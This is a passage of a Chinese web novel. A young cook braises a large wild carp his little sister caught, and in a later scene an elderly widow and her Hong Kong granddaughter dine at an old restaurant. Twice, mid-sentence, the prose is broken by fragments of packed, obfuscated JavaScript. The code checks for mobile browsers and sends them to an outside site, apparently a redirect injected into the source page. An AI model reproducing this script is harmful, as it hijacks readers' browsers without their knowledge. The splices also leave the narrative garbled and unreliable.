骑行十几公里，出了一身汗，刚好是最口渴的时候，没有人能拒绝一碗温度适宜的水。 一碗水下肚，其实已经半饱了。 再吃饭，饭量自然就减半了。 从昨天的反馈来看，**的饭量确实明显下降，效果显著。 不过黄兵看着倒是饭量大涨，跷脚牛肉汤哐哐喝，还能干两碗饭。 也挺好，就他现在这肾虚的干巴模样，能吃是好事。 周砚估摸着赵淑兰让他们兄妹俩一起来吃饭，除了想让**减肥，还想让黄兵长点肉。 可惜这任务没刷出来啊。 没用的狗系统！ 周砚觉得这可比让**减肥简单多了。 回到饭店才三点多，周砚刚把车停下。 “锅锅，我想睡觉觉。”周沫沫揉着惺忪的眼睛凑上来，就要往周砚的身上爬。 “不许让她睡！她睡了，晚上我们就不要睡了！”门口躺椅上靠着的赵铁英坐起身来，看着周砚道：“白天不熬猫，晚上猫熬人！你带她出去舞一圈嘛，吃了晚饭再让她早点睡。” “要得……”正准备弯腰把周沫沫抱起来的周砚，转而牵起了她的手，笑着道：“走，哥哥带你去找老汉儿钓鱼。” 睡眼朦胧的周沫沫愣了一下，仰着脑袋，眼里很快亮起了光：“钓鱼摆摆？！” “对，钓鱼摆摆。”周砚笑着点头。 “好耶！好耶！沫沫想钓鱼摆摆！”小家伙高兴地蹦了起来，顿时睡意全无。 “走嘛，先去找老汉儿。”周砚牵起她的手，往河边走去。 老周同志下午一般就在饭店门口钓会，自从听了周砚的建议改换成小蚯蚓后，每天都能钓到几条小鱼，成功摆脱了空军佬的身份。 果然，沿着河堤往上游走了两百米，就看见了坐在一团芦苇旁的老周同志。 一把折叠小马扎，一根自制的鱼竿，脚边放个军绿色的水壶，能在河边坐一个下午。 有时候周砚也挺佩服钓鱼佬的意志力。 “爸爸！”周沫沫撒开周砚的手，蹬蹬跑下河堤。 “慢点，慢点。”老周同志回头，连忙把鱼竿放边上，回身抱住了冲下来的小家伙。 “钓到鱼摆摆了吗？”周沫沫凑到一旁的鱼篓看，空荡荡的，不禁叹了口气，“啥也没有啊？” “还没有。”老周同志尴尬挠头，不过还是信誓旦旦道：“不过下一杆肯定会钓到。” “沫沫想睡午觉，妈让我带她出来转一圈。”周砚走到跟前，笑着解释道。 “要得，昨天晚上她一点钟都不睡觉，把你妈整伤心。”老周同志笑着点头。 “爸爸，我也想钓鱼摆摆。”周沫沫看着放在一旁的鱼竿，期待道。 “来嘛，你来钓会。”老周同志把鱼竿捡起来，重新换了一截蚯蚓，递到她手里，“拿稳，有点重。” “没得事，我是大力王~~”周沫沫两只手抱着鱼竿，随意往水里一抛，嘴里还在碎碎念：“鱼儿鱼儿快上钩，我来给你们喂饭饭了~” 周淼的手虚抱着着她，防着她掉水里，笑眯眯道：“鱼摆摆不是那么好钓的，你看爸爸坐了半天，浮漂都没……” 他的话还没说完，那半天没动一下的浮漂突然晃了两下，猛然向下沉去，连带着竿尖也是一下扎进了水里。 “哇哦！”周沫沫惊了一下，抱紧了鱼竿往后退，撞进了老周同志的怀里，嘴里惊喜的叫道：“大鱼摆摆！爸爸，你看！！” 老周同志不笑了，瞪大眼睛，一脸难以置信。 笑容没有消失，只是转移到了周砚的脸上。 “老汉儿，你怎么不笑了？是天生不爱笑吗？”周砚揶揄道。 老周同志的反应还是足够迅速，在鱼竿从周沫沫的手里脱手之前，一手搂住被拉的往前扑的周沫沫，一手抓住了鱼竿。 震动的鱼竿，带来了前所未有的手感。 笔直的鱼竿绷成了大弯弓，竿尖簌簌颤抖，仿佛随时都要断掉一般。 这—— 不就是他梦寐以求的大鱼吗？！ 没想到啊没想到，他守了一个下午都没有守到的大鱼，小家伙随手一抛就钓到了。 到底是哪个步骤出了问题？ 因为没有念咒语吗？ 老周同志有点怀疑人生。 “加油！爸爸加油！”周沫沫跟着使劲，嘴里还喊着口号。 老周同志谨慎溜鱼，足足十分钟才把鱼溜翻，金红色的大鲤鱼，仰着脑袋呛了两口水，已然力竭。 周砚拿着鱼篓，把鱼给抄了上来。 好家伙，一条就把小鱼篓装满了，金红色的尾鳍还露在外边。 一条爆护！ “哇哇哇！好大的鱼摆摆！”周沫沫高兴得不得了，凑上前伸手戳了戳鱼尾巴，笑眯眯地回头看着老周同志：“爸爸，我厉不厉害？” “算你厉害……”老周同志笑着点头，笑容中带着一丝苦涩。 新手第一杆上大鱼，那他算什么？ “周沫沫太厉害了，今天晚上咱家也算吃上野生大鱼了。”周砚笑着道。 “锅锅，大鱼鱼那么可爱。”周沫沫仰头看着周砚，“是清蒸？还是红烧呢？” “鲤鱼，还是红烧吧。”周砚把鱼从鱼篓里拿出来，摘了鱼钩，掂量了一下，这条鱼少说也有五斤重。 纯野生的青衣江大鲤鱼，颜色太漂亮了，金黄金黄的鳞片，肚子圆鼓鼓的，养了一身过冬的肥膘。 剁成段先炸一道，再拿来红烧，应该是他眼下掌握的最优做法。 这次不加藿香，试试上回浩哥婚宴上从郑师兄那里偷学的红烧鱼做法。 这鱼有点大，整条烧不入味，还费油。 鱼塞回鱼篓，周砚看到老周同志已经把小马扎都收好了，笑着问道：“老汉，不钓了？” “不钓了。”老周同志点头：“身体突然有点不舒服……” “那你提着鱼嘛，我帮你拿竿竿。”周砚笑着把鱼篓递过去，“毕竟是你打的窝子，扣的曲鳝嘛。” “不晓得怎么回事，我的皮带突然有点痒呢？”老周同志摸向腰间。 “走走走，周沫沫，我们回去杀鱼！给你炸面鱼吃！”周砚拎起鱼篓，拉起周沫沫转身就溜了。 “好！”周沫沫小腿抡的飞快。 老周同志看着两人的背影，忍不住笑着摇了摇头。 虽然没钓到，但至少体验了一把溜大鱼的手感。 而且，幺女钓到的，不就等于他钓到的。 明天要去老地方，跟那些空军队友们分享一下溜大鱼的手感与技巧。 “喔唷，老周钓到这么大一条鱼摆摆啊！”赵嬢嬢和赵红正坐在门口摆龙门阵，看到周砚提着的鱼篓里翘出的大鱼尾巴，惊讶地站起身来。 “这么大的尾巴，好大一条哦！”赵红也是跟着凑过来，一脸稀奇。 “窝钓的！是窝钓的！”周沫沫举着手蹦起来喊道。 “你钓的？”赵嬢嬢和赵红都愣了一下，看向扛着鱼竿，提着小马扎从后边走来的老周同志。 “对，是她钓的。”老周同志点头，脸上有点臊。 “安？” “耶？” 赵嬢嬢和赵红表示震惊。 “幺女，你有点凶哦！你老汉钓了十多年鱼，从来没有钓到过这么大的鱼摆摆！”赵嬢嬢一把将周沫沫抱了起来，冲着她的脸就吧唧亲了一口，“好厉害哦！” 这夸的周沫沫咯咯笑，得意极了。 老周同志老脸一红，感觉更臊皮了。 “你大爷也从来没钓到过这么大的，上回钓了一条一斤的鲤鱼，在家里摆了两桌，一人一筷子鱼肉都没有夹到。”赵红跟着笑道。 老周同志心里平衡了不少，大哥钓龄比他还长十年，不一样没钓过大鱼。 “这么大的鱼摆摆，要怎么吃呢？”赵嬢嬢看向了周砚。 如今周砚是家里的顶级大厨，掌控厨房的王。 “这么大的鲤鱼，拿来红烧嘛，你看怎么样？”周砚说道。 “红烧要得。”赵嬢嬢点头。 “那我先把鱼杀了。”老周同志把鱼竿和小马扎放回去，拎着把剔骨刀出来，看着周砚道：“要一整条还是切块？” “切块。先把鱼对半分，再切这么宽就行，这鱼肉肥厚，切窄一点好入味。”周砚给他比划了一下，杀鱼是细活，老周同志主动承担，他就可以先去被烧鱼用的料备着。 像是感受到了杀意，大鲤鱼突然发力，从周砚的手上翻了出去，落在地上跳来跳去。 “鱼摆摆，你莫板，板也没球得用~~”周沫沫顿一旁，奶声奶气的劝道。 “要得。”老周同志应了一声，弯腰先用刀把给大鲤鱼脑袋来了一记。 咚的一声闷响，原本还翻腾的大鲤鱼瞬间失去梦想，躺平不动了。 “它一哈就睡戳了吗？”周沫沫抬头，有些震惊的看着老周同志。 “对。”老周同志拎起秒睡的大鱼，提着刀和盆往河边去了。 周砚去备料，四川人做鱼，费料又费油。 也就现在啥都是自己做，成本没那么高，不然光是买烧鱼料、酸菜、泡椒、配菜、葱姜料酒和油，和买条鱼的价格相差无几。 红烧鱼块的做法，周砚从脑海里找到了一些师父做鱼的记忆片段。 以前只记住了步骤，不太明白其中的原理，也复刻不出来。 有种知识流过脑子又不留痕迹的感觉。 但从他掌握了完美藿香鲫鱼的做法之后，就有种一通百通的感觉了。 腌鱼葱姜料酒一放，大差不差。 勾芡也不难，火爆猪肝的薄芡都能把握得住，红烧鱼块的芡厚点薄点影响不大。 红烧的料参考了郑强做的红烧鱼，量按鱼的大小来把控。 老周同志把杀好的鱼端回来，周砚用井水重新漂洗了一遍，洗的干干净净，一点血水都没有了。 鱼的腥味一半来自血和鱼表面的黏液，洗干净后，腥味立马减半。 青衣江里野生大鲤鱼的肉质太好了，肉质发黄，看起来晶莹紧实，鱼腥味都要淡不少。 一条鱼，杀完还装了半搪瓷盆。 “不止五斤，少说也有五斤八两。”老周同志笑着说道。 “你手准，信你的。”周砚笑着道。 姜拍扁切姜片，加一把葱，倒点料酒，加一点盐巴，先把鱼给腌一会。 赵铁英看着这一盆鱼，说道：“这鱼有点多哦，要不你煎了铲一碗起来，让赵红给你奶奶端回去自己烧一哈？她最喜欢吃鱼了，这么大的野生鲤鱼也难得遇到。” “要得。”周砚点头。 红烧坨坨鱼是下饭菜，这一大盆鱼肉五个人确实有点吃不完。 鱼腌了倒去渗出的多余血水，把葱姜捡出，打一个鸡蛋搅匀倒入盆里，让鱼肉裹上鸡蛋液，再加入干的红苕淀粉给鱼裹一道面糊糊。 这个做法其实接近潼南的**鱼，但红苕粉的量下的没那么重，鱼切的要大块一点，没宰成小坨坨。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200252|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > **鱼是山城非遗美食，周砚前世借着美食博主的身份，近距离拍过一位非遗传承人做**鱼，那位师父在做的过程中做了比较详细的讲解。 这视频是他自己拍自己剪的，剪辑过程反复调整了许多遍，做法简直烂熟于胸。 以前只觉得师傅牛逼，现在倒是能够尝试着复刻了。 泡姜、泡椒、泡酸萝卜切成碎丁，干辣椒和葱切段、花椒、蒜备好，料就算齐了。 他正准备烧火。 周沫沫抱着一捧细柴火吭哧吭哧跑过来，“锅锅，我来帮你烧火火！” “要得。”周砚笑着从她手里接过细柴火，折了一半塞到灶眼里，又拿了一把捆好的稻草，火柴一擦就燃起，稻草塞进炉灶，细柴火立马被引燃，这时候再往里边塞一根青冈木，这火就算是烧起来了。 周沫沫自己搬了个小板凳过来，往灶前一坐，嘴里念念有词：“灶灶乖，我给你喂柴柴，你要好好烧火，给我煮鱼摆摆吃哦~” 赵嬢嬢和赵红早就来了，锅边一左一右站着，都想学点做鱼的高端手艺。 和回锅肉一样，烧鱼也是四川人的必修课。 别的菜不好说，但说起做鱼，一般每家都有个代表选手。 锅里加两大勺猪油，再加两瓢菜籽油。 这一步，就让赵嬢嬢和赵红的眼睛睁大了几分。 这四瓢油，够一家人平时炒半个月菜了。 “烧鱼用不了那么多油，但是炸鱼油要多一点，好快速定型，不容易把鱼肉炸老。”周砚给她们解释道，大火烧开，待到油温六成热的时候，下入鱼块。 滋滋滋！ 鱼块一入油锅，立马发出滋滋的声响。 “少量多次分批炸，不要炸的太久，表皮微微泛黄，定型即可出锅。”周砚拿了个漏勺，等锅中鱼块定型后，迅速捞起，再漏勺里一抖，粘连的鱼块立马就分开，倒入一旁干净的大盆里备用。 这一盆鱼，分四次炸的，堆满一尖盆盆，鱼香味十足。 “好香啊！”周沫沫守不住灶了，凑到锅边，垫着脚尖瞧，忍不住吞了吞口水。 “要不挑几块复炸一道，弄一盘面鱼吃？”赵嬢嬢提议道。 “我喜欢吃面鱼鱼！”小家伙疯狂点脑袋。 “要得。”周砚笑道，拿了个盘子单独装了一盘，待油温升高几分，再次倒入锅中复炸。 这一次，他没有急着出锅，而是等到鱼块炸的金黄，表壳酥脆，方才将其捞出。 铛！铛！铛！ 鱼块倒入盘中，发出的是脆响，外壳金黄，香气扑鼻而来。 面上撒上一层椒盐，端起盘子抖两下，立马均匀裹上。 “来嘛，尝尝看，小心刺鲃。”周砚把盘子递过去，众人一人拿手拈了一块。 周沫沫伸手碰了一下，立马又缩了回去，小手捏着耳朵，嘟着小嘴委屈巴巴道：“好烫！” “我帮你吹吹。”周砚连忙把她烫的红红的手吹了吹，又拿了一块长条的鱼肚肉吹了吹，面上不烫了才递到她手里。 “谢谢锅锅。”周沫沫咧嘴笑，两只手捧着炸的金黄的面鱼，小小咬了一口。 咔嚓！ 加了鸡蛋的酥脆面壳发出轻响，咬开后里边是细嫩的鱼肉，外酥里嫩，不过如此。 “好香！好吃！” 小家伙点着脑袋，开心道。 “慢点哈，小心鱼刺。”周砚笑道，自己也拿了一块面鱼咬了一口。 外壳酥脆，带着淡淡的蛋香，鱼肉很细嫩，带点微微的弹性，不是养殖鱼的软烂口感。 做红烧鱼，下料重，腌鱼的时候周砚放的盐就相对比较少，有点底味，不过面上撒上了椒盐后，咸香适口，刚好合适。 是挺香的。 最关键的是，一点腥味没有。 这年代的野生江鲤，品质是真的高！ 广州人不爱吃鲤鱼，湖北人弃之如敝履，但鲤鱼在四川是有着不错地位的。 当然，主要是川菜做法多，哪怕是养殖的鲤鱼，都有各种压得住土腥的手段。 “吃起好香哦！外酥里嫩的，我去整点辣椒面肯定更安逸。”赵嬢嬢赞叹道，出去端了一碟跷脚牛肉的专用蘸碟来，面鱼在里边裹一圈，再咬一口，连连点头：“对嘛！巴适得板！” “我试看。”赵红跟着蘸了蘸辣椒面，吃了一口也是连连点头：“更香了！好吃！” 一碟面鱼，成了众人的小零食，趁热一会就吃完了。 周沫沫吃了三块，心满意足地回去守灶去了。 “老汉儿，下回多钓点参子，那个炸面鱼才安逸，酥酥脆脆，骨头都不用吐，搞个两三斤。”周砚看着老周同志说道。 “要得。”老周同志点头，感觉到了一些压力。 两三斤？ 他一次只能钓到两三条…… 周砚看了眼表，四点半，时间刚好合适，吃完纺织厂下班，刚好开始干活。 锅里剩点底油，下入一勺豆瓣，煸炒出红油，下入切碎的泡椒、泡姜、泡萝卜三兄弟，小火把水汽煸干，酸香渐渐浓郁，下入拍过的大蒜、生姜和干辣椒段，继续翻炒。 干辣椒段的颜色渐渐变成了深褐色后，加入清水，等水煮开后，倒入先前炸好定型的鱼块。 盆里留了约摸三分之一，晚上下班让赵红嫂子给老太太带回去。 水刚好淹没鱼块，下入葱段。 灶下的火早就转成了小火，慢慢炖着。 大火豆腐小火鱼，这是传承下来的智慧。 “咕嘟~咕嘟~” 鱼块在红色的浓汤中微微颤动，翻着泡，香气飘满了整个厨房。 过程中用锅铲轻轻推动了几下，防止底部粘锅。 煮了约摸十分钟，汤汁渐渐收干。 这时候再往面上撒上些许切细的土芹菜杆，和一把嫩绿的葱花，起锅装盘。 店里最大号的瓷盆，装了满满一盆。 鱼肉外面裹了粉，被红亮的汤汁完全浸透，看起来晶莹剔透，白色的葱段，绿色的芹菜、和红色的辣椒段交织出诱人的色泽。 麻辣鲜香随着热气扑面而来。 红烧鱼块，成了！ 厨房里的五人，同时忍不住吞了吞口水。 （PS：求月票~晚上加更！） 求月票~   (本章完) 第135章 优雅是刻在骨子里的（44k月票5000月 第135章优雅是刻在骨子里的（4.4k月票5000月票加更！） 今天的晚饭就一道红烧鱼块，外加一份油渣炒莲白。 主角自然是当之无愧的红烧鱼块！ 【一份不错的红烧鱼块】 周砚的眼底闪过一行鉴定结果。 和完美的藿香鲫鱼有着不小的差距。 但第一回做鲤鱼，而且还是完全没有实操过的红烧做法，能够达成【不错】这个结果，周砚相当满意。 这说明了什么？ 他已经不是只能靠系统的小废物了！ 融会贯通一道菜后，将他上一世积累的后厨拍摄经验吃透，再加上小周同志两年半的学厨经验，他已经能够变通的做出一些新菜式了。 比如这道【不错】的红烧鱼块！ 这种程度的菜，做法太过复杂且对鱼肉要求较高，在没有达到【极其不错】的评价之前，他是不会上菜单给自己找麻烦的。 但平时自家聚餐露一手，换换口味什么的，还是相当可以的。 这样的进展，对周砚来说还是挺有成就感和兴奋的。 一人一碗饭已经先盛上桌，看着这样一道下饭菜，没有人能拒绝先给自己来一碗主食。 这种对主食的热爱和执念，是刻在骨子里的。 “要不要给你用米汤涮一下鱼肉，可能会有点辣？”周砚看着周沫沫问道。 周沫沫点着脑袋：“要！” 周砚笑着转进厨房，倒了碗米汤出来，放在周沫沫跟前。 赵嬢嬢挑了一块鱼肚上的肉，在米汤里给她涮了一道，才放到她碗里，叮嘱道：“辣的话就少吃点，小心鱼刺。” “嗯嗯。”小家伙点着脑袋，已经凑上去咬了一口。 和酥脆的面鱼不一样，这个鱼的面壳软软的，咬起来一点不费劲，里边的鱼肉又很嫩，微微辣，但很香，好好吃！ 咬一小口鱼肉，把鱼刺抿出，紧接着扒拉了一大口米饭。 一口鱼，一口饭，吃的可香了。 赵嬢嬢也动了筷，夹了一块鱼肉，咬了一口。 嚯！ 麻辣鲜香！这滋味嗷的一下就在舌尖上炸开了。 裹着面粉在油锅里定过形的鱼块，在小火慢炖中又慢慢被软化了，裹上浓稠的汤汁，夹起来颤颤巍巍，稍不注意就夹断落回到盘子里。 一口下去，酥壳浸透了汤汁，软软的，鱼肉却格外鲜嫩爽滑，吸溜一下，直接滑进嘴里。 酸萝卜的酸香，泡姜和泡椒独特的酸辣，与干辣椒的辣味、花椒的麻味交融的太好了，爽得不行！ “好吃！吃起来耙嘟嘟的，鱼肉又鲜嫩，一点不比藿香鲫鱼差！”赵嬢嬢给出了极高的评价。 “嗯嗯，这个汤汁一蘸，又辣又香哦！味道简直不摆了！”赵红也是疯狂点头表示赞同。 “野生大鲤鱼口感硬是不一样，煮这么久都不烂也不散，烧的也好。”老周同志同样赞叹道，他也是好起来了，靠着幺女吃到了野生大鲤鱼。 今天的晚饭，每人都添了米饭。 连汤汁都拿来拌了饭。 算是给出高度评价。 “老周，看看你下回能不能钓到这么大的鲤鱼。”赵嬢嬢看着老周同志笑着说道，“我们还能不能吃上红烧鱼块，就靠你了。” “好，我下回努力。”老周同志点着脑袋，颇有几分信心。 “不是这种品质优秀的野生大鲤鱼，我可不浪费这些油哈。”周砚笑着打了个补丁。 老周同志上菜市场买点板鲫还行，品质不错，给客人做成藿香鲫鱼就行，但要买条养殖的大鲤鱼回来，他可真不想浪费油忙活一场。 众人吃完饭，**和黄兵兄妹俩刚好来了。 **一进店就嗅着鼻子道：“好香啊！煮了什么好吃的啊？闻着像鱼，但又不是藿香鲫鱼吧？” “乖乖，你这鼻子可真灵，今天下午沫沫钓了一条五斤八两的大鲤鱼。”赵铁英一边收碗，一边笑着道：“周砚做了红烧鱼块，你要早来五分钟，还能尝到一块。” “我滴乖乖！五斤重的大鲤鱼？哪里钓到的？”黄兵一脸震惊的看着周沫沫，“下回能带我吗？” “五分钟！都怪黄兵出门前上了个茅厕！竟然错过了一顿红烧野生大鲤鱼啊……”**则是一脸遗憾，捏着拳头给了黄兵一锭子。 黄兵轻飘飘躲过，看着周沫沫继续道：“我有个朋友，也喜欢钓鱼，就是从来没有钓到过鱼，能不能请教一下这五斤八两的大鲤鱼是怎么钓起来的吗？” “就是这样啊。”周沫沫抓着一根筷子，给他演示道：“这样，丢下去，然后一下子就沉下去了，然后就钓起来了。” 黄兵沉默了，看了眼一旁的周淼。 周淼沉默了一会，点头道：“她说的没错。” 看吧，哪个钓鱼佬听了不沉默啊。 “红烧鱼块好吃吗？什么时候上菜单啊？”**凑到周砚跟前，满脸期待地问道，眼里只有对美食的渴望。 “还不错，不过这菜我觉得可以再练练，对鱼肉质的要求也挺高，短时间内应该不上菜单，属于私房菜。”周砚笑着说道。 “私房菜，那就是有条件解锁咯？”**若有所思，追问道：“要是我下回买到了野生大鲤鱼，能不能找你做啊？我给加工费！” “这……”周砚思索，倒也是一个可开拓的新业务，点头道：“如果我有空的话，可以，价格到时候另说。” “好！”**心满意足地笑了，这次没尝到的红烧鱼块，她早晚会吃到的！ 晚上**点了一份藿香鲫鱼，以抚慰被勾起的馋虫。 黄兵一天两顿跷脚牛肉，已经成他的固定菜了，可能是每天骑车水分消耗太多了吧，相比于喝水，他更喜欢喝牛肉汤。 可以续，他一次能喝一碗半。 工厂下班，客人渐渐多了起来，周砚也转回到了后厨忙碌起来。 赵东在门口买卤猪头肉，一眼就瞧见了饭店里坐着的俩亲外甥，拿了卤肉，笑着进门来：“莺莺，黄兵，你们俩真的一天跑三趟来吃饭啊？” “对啊，我妈给了饭钱，让我们一天三顿都来吃，一顿不能落。”**笑着邀请道：“舅舅，你要不要坐下来一起吃？我们点了藿香鲫鱼和双椒碎花牛肉，三个人也够吃。” “我就不吃了，买了点卤猪头肉，带回去跟你外婆和舅妈他们一块吃。”赵东笑着道，准备走。 他们这桌的藿香鲫鱼刚好上来了。 **瞧见他手里提着的饭盒，连忙把他抓住：“等一下，你把藿香鲫鱼打包一条回去给外婆和表妹他们一起吃，我们这菜有点多。” “不用不用，你们吃嘛。”赵东连连摆手，他就是来打个招呼的。 但饭盒已经被**拿走打开了，黄兵则是端起盘子划了一条鲫鱼到饭盒里，连带着盖在上边的小料和汤汁一起，装在饭盒里也看着有模有样的，打包的非常成功。 “舅舅，小心汤汁漏了哈。”**笑着把饭盒还给赵东：“让外婆吃鱼小心点哈，这个藿香鲫鱼还是多巴适的，上回她就很喜欢吃的嘛。” “你们两个娃娃……”赵东有些哭笑不得，拿好饭盒道：“那我走了哈，等会吃了早点回去，最近天黑的早。” “要得！”两人笑着答应，看着赵东出门，笑着为刚刚的配合击了个掌。 “你的手怎么回事？”**拿起筷子，看了眼手上贴了个止血贴片的黄兵。 “练刀工的时候不小心切到的，点把点的小伤口，没得事。”黄兵随口道，先给自己盛了碗汤。 “不是，你还真打算去卖卤肉啊？”**一脸惊奇的看着他，带着几分揶揄道：“你就别折磨孙师傅了嘛，人家上班够辛苦了。” “闭嘴！吃你的饭！”黄兵咬牙切齿，“三十年河东三十年河西！莫欺少年笨！” “穷是可以改变的，但笨是一辈子的，哥，多读点书嘛。”**诚挚建议道。 “滚滚滚！” …… 飞燕酒楼矗立在玉堂街上。 天才刚擦黑，霓虹灯就已经把招牌照的五光十色，相当亮眼。 一辆载客的人力三轮车停在了酒楼前。 从车上先下来一个烫着羊毛卷的年轻姑娘，穿着黑色羊毛衫，外边套着一件深棕色的宽肩西装，下装是一条浅色牛仔裤，腿很长，腰上系了一条古驰的细腰带，手上挎着一个双G的竹节包。 她的长相秀美，别到耳后的头发，露出了精致的钻石耳环，整个人看起来很是时髦和贵气。 接着从车上又下来了一位银发老太太，年轻姑娘连忙伸手去扶。 老太太穿着一身黑色九分袖旗袍，脚上穿的绣花鞋，又高又瘦，脖子上配了一条白色珍珠项链，一头银发挽起，斜插一根桃木簪子，肩上搭着条米白流苏披肩，扶着姑娘的手从车上下来，气质从容又优雅。 相比之下，那穿着一身国贸公司都见不着的大牌的时髦年轻姑娘，气质完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200253|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全被盖过了。 “谢谢了，师傅。”老太太开口，声音略显清冷。 “不客气！”师傅应了一声，蹬着车走了。 “奶奶，走吧，我都饿了。”段语嫣挽起老太太的手，笑着说道。 “好。”老太太点头，一并往酒楼里走去。 坐在柜台后边的黄鹤一眼瞧见了两人，连忙起身迎了出来。 “邱太太，段小姐，你们来了。”黄鹤笑着迎上前，语气和态度都比平日待客恭敬了几分。 邱老太名为邱绮，是飞燕酒楼几十年的老顾客了，建国前邱家就是飞燕酒楼的常客，后来邱老太太嫁入段家后，也时常和段先生一起来酒楼吃饭。 生意从父辈继承到他手里，这位经历颇为传奇的老太太，是他爸临走前再三叮嘱他要好生接待的贵客。 黄鹤小时候见过邱太太的模样，那可真是嘉州城里当之无愧的美人，当年与段先生的婚礼，更是让嘉州城的老老少少全都跑去围观了。 数十载岁月过去，她的头发花白，脸上多了许多皱纹，却依旧优雅如故。 邱太太儿子寻亲，想要接她去香港享福的事情他听说了，邱家老宅那地段他也眼馋着呢，就是不知道老太太的心结到底是什么，如何才能解。 至于传闻中一万块的价格，只要肯卖，他是愿意出这个价钱的。 邱太太的孙女段语嫣今年二十出头，真正的香江名媛，瞧她身上穿的这些衣服和首饰，他连牌子都认不出来，只在电视里看那些明星穿过，价格肯定不菲。 她虽也生的貌美，但和当年的邱太太相比，还是差了些的。 钱可以让人看起来贵气，但优雅是从骨子里透出来的。 黄鹤从小在飞燕酒楼长大，见过大部分的嘉州名流，他们当中有着许多优雅的先生和女士。 邱太太和段先生当属第一流。 “黄老板，二楼可还有雅间？”邱老太开口问道。 “有，您常坐的小雪包间空着的，您二位楼上请。”黄鹤连忙应道。 邱老太微微点头，和孙女不紧不慢的上楼去了。 黄鹤快步跟上，从二楼服务员的手里接过菜单，亲自接待。 邱老太随意翻了几页菜单，不紧不慢的点了几样常吃的菜。 正准备合上菜单的时候，黄鹤开了口：“邱太太，我们今天恢复了几样卤肉，您要不要尝尝？我记得您当年和段先生还挺喜欢点卤肉的。” 邱老太闻言手微微一颤，抬眼看向了黄鹤，“卤肉？” “对，您看这一页。”黄鹤把菜单往后翻了两页，菜单上加了一个卤肉的栏目，新加了三道菜：卤猪头肉，卤猪耳朵和卤猪拱嘴。 “卤肉有什么好吃的？”段语嫣黛眉微蹙的嘀咕了一句，她不喜欢吃腊味和卤味。 邱老太认真看了一会，抬头看着黄鹤：“怎么没有卤牛肉？” 黄鹤的记忆像是被拧开了阀门，突然想起了一些往事。 那会邱太太和段先生常来酒楼吃饭，坐的就是这个雅间。 段先生在卤猪头肉和卤猪耳朵之间经常换着点，而邱太太每次都必点一份卤牛肉。 从他记事开始，一直到卤肉从飞燕酒楼的菜单上消失。 卤肉刚下的那段时间，邱太太还常问，再后来便没再提过了。 中间有十几年他没见过邱太太，有说是因为段先生的工作保密，邱太太跟着他去了首都，也有说去了大西北。 前几年邱太太和段先生回到了嘉州，每个月会来一两次飞燕酒楼吃饭。 1981年段先生去世后，邱太太每个月会来一次飞燕酒楼，点一个菜，坐两个小时便走，菜多数时候都没动筷。 直到半年前她儿子和孙女上门寻亲，邱老太带着他们来飞燕酒楼的频率增加了不少，点的菜也渐渐多了起来。 吃的还是不多，但那位千金小姐啥都想尝一尝。 “卤牛肉做的还不熟练，所以要再等一段时间才会上。”黄鹤微笑着解释道。 邱老太若有所思，开口道：“那就加一份卤猪头肉。” “好，两位稍等，我让他们先准备你们的菜。”黄鹤收了菜单，面带笑容的退出包厢。 “奶奶，卤猪头肉那么肥，你不是从来不吃肥肉的嘛？”段语嫣不解的看着她。 “你爷爷在世的时候，最爱吃的就是他们家的卤猪头肉。”邱老太微微一笑：“就是不知道还是不是当年的味道。” (本章完) 第136章 这不就是资本家大小姐吗？哼！（6k “爷爷最爱吃的卤猪头肉？”段语嫣若有所思，看着老太太道：“那奶奶你最爱吃的是卤牛肉？” 邱老太看着窗外沉默了一会，有些意味深长的笑了笑道：“或许是吧。” 段语嫣安静看着老太太的侧脸，心里想着：这个时候，她应该在怀念一些过去的事情吧？ 不过我奶奶可真漂亮，哪怕七十岁，依旧是美人。 爷爷太有福气了。 他们点的菜陆续上来了。 段语嫣挺喜欢来飞燕酒楼吃饭，味道不错，摆盘精致，环境也好，吃着比较舒服。 今天的菜陆续上来，她却盯住了那份卤猪头肉。 切成铜钱厚的卤猪头肉，颜色红亮，卤汁浸透之后犹如琥珀一般，泛着油光，沿着盘子转了一圈，在中间堆叠而起，看起来竟是颇为漂亮和诱人。 “这卤猪头肉摆盘还挺精致的，瞧着跟我以前见过的卤猪头肉好像不太一样啊？”段语嫣有些诧异道。 “肉看着倒是差不多，就是这凉菜师傅的刀工和摆盘水平比以前那位好了不少。”邱老太笑着说道，拿起筷子先夹了一块猪头肉，细细看着上面的纹路与色泽，然后喂到嘴里慢慢嚼着。 段语嫣犹豫了一下，也拿起筷子夹了一块卤猪头肉，来回翻转着打量了一会，给自己疯狂做心理建设。 来四川之前，她绝对不会吃这些东西，什么猪头肉、猪耳朵、猪尾巴……在她看来都是相当糟糕的食物。 在香江，她西餐吃的比较多。 她爸爸爱吃川菜，家里还特意请了一位川菜师父，那位师父口味比较重，重麻重辣，甚至连炒小青菜都会放花椒，藏在菜叶子里的花椒，简直是刺客一样的存在，小时候把她麻哭过好几回。 所以更多时候她选择吃牛排或者吃口味清淡的粤菜。 她不爱吃肥肉，回锅肉她只吃一点瘦肉，不过这种吃法看起来不太好，所以在外面她连筷子都不伸。 猪头肉就是典型的半肥瘦的肉。 不过这一块卤猪头肉，浸透了卤水之后，原本油腻的肥肉也染上了琥珀色，看着倒是不显油腻。 拿近了，还能闻到淡淡的卤香，有点……诱人。 “就尝一块！看看当年爷爷最爱的卤猪头肉到底是什么味道。”段语嫣在心里跟自己说道，把卤猪头肉喂到嘴里。 